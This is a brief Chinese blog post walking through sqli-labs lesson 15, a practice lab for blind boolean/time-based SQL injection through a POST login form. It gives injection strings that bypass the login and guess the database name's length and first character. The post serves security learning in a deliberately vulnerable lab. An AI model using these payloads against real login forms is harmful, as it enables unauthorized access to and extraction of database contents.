【sqli-labs】 less15 POST - Blind- Boolian/time Based - Single quotes (基于bool/时间的单引号POST型盲注)

时间：2018-01-23 23:20:00 阅读：270 评论：0 收藏：0 [点我收藏+]

技术分享图片

错误不回显了

技术分享图片

构造永真登陆

技术分享图片

登陆成功了

技术分享图片

虽然登陆成功了，但是数据库的数据还么有爆出来

构造一下用户名

1‘ or length(database())=8#

技术分享图片

如果数据库名的长度不等于8，登陆会失败

技术分享图片

猜测数据库名第一个字符是否为‘s‘，是则登陆成功

1‘ or ascii(substr(database(),1,1))=115#

技术分享图片

原文地址：https://www.cnblogs.com/superkrissV/p/8338027.html

踩

(0)

评论一句话评论（0）